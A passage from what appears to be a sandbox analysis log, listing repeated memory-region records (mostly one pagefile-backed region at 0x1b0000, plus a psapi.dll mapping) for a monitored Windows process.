= private name = "private_0x0000000001c80000" filename = "" Region: id = 5014 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5025 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5026 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5027 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5028 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5029 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5030 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5031 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5032 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5033 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5034 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5035 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5036 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5037 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5038 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5039 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5040 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5041 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5042 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5043 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5044 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5045 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5046 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5047 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5048 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5049 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5050 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5051 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5052 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5053 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5054 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5055 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5056 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5057 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5058 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5059 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5060 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5061 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5062 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5063 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5064 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5065 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5066 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5067 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5068 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5069 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5070 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5071 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5072 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5073 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5074 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5075 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5076 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5077 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5078 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5079 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5080 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5081 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5082 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5083 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5084 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5085 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5086 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5087 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5088 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5089 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5090 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5091 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5092 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5093 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5094 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5095 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5096 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5097 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5098 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5099 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5100 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5101 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5102 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5103 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5104 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5105 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5106 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5107 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5108 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5109 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5110 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5111 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5112 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5113 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5114 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5115 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5116 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5117 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5118 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5119 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5120 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5121 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5122 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5123 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5124 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 5125 start_va = 0x530000 end_va = 0x53dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000530000" filename = "" Region: id = 5126 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5127 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5128 start_va = 0x75800000 end_va = 0x75804fff monitored = 0 entry_point = 0x75801438 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\SysWOW64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll") Region: id = 5129 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5130 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5131 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5132 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5133 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5134 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5135 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5136 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5137 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5138 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5139 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5140 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5141 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5142 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5143 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5144 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5145 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5146 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5147 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5148 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5149 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5150 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5151 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5152 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5153 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5154 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5155 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5156 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5157 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5158 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5159 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5160 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5161 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5162 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5163 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5164 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5165 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5166 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5167 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5168 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5169 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5170 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5171 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5172 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5173 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5174 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5175 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5176 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5177 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5178 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5179 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5180 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5181 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5182 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5183 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5184 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5185 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5186 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5187 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5188 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5189 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5190 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5191 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5192 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5193 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5194 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5195 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5196 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5197 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5198 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5199 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5200 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5201 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" 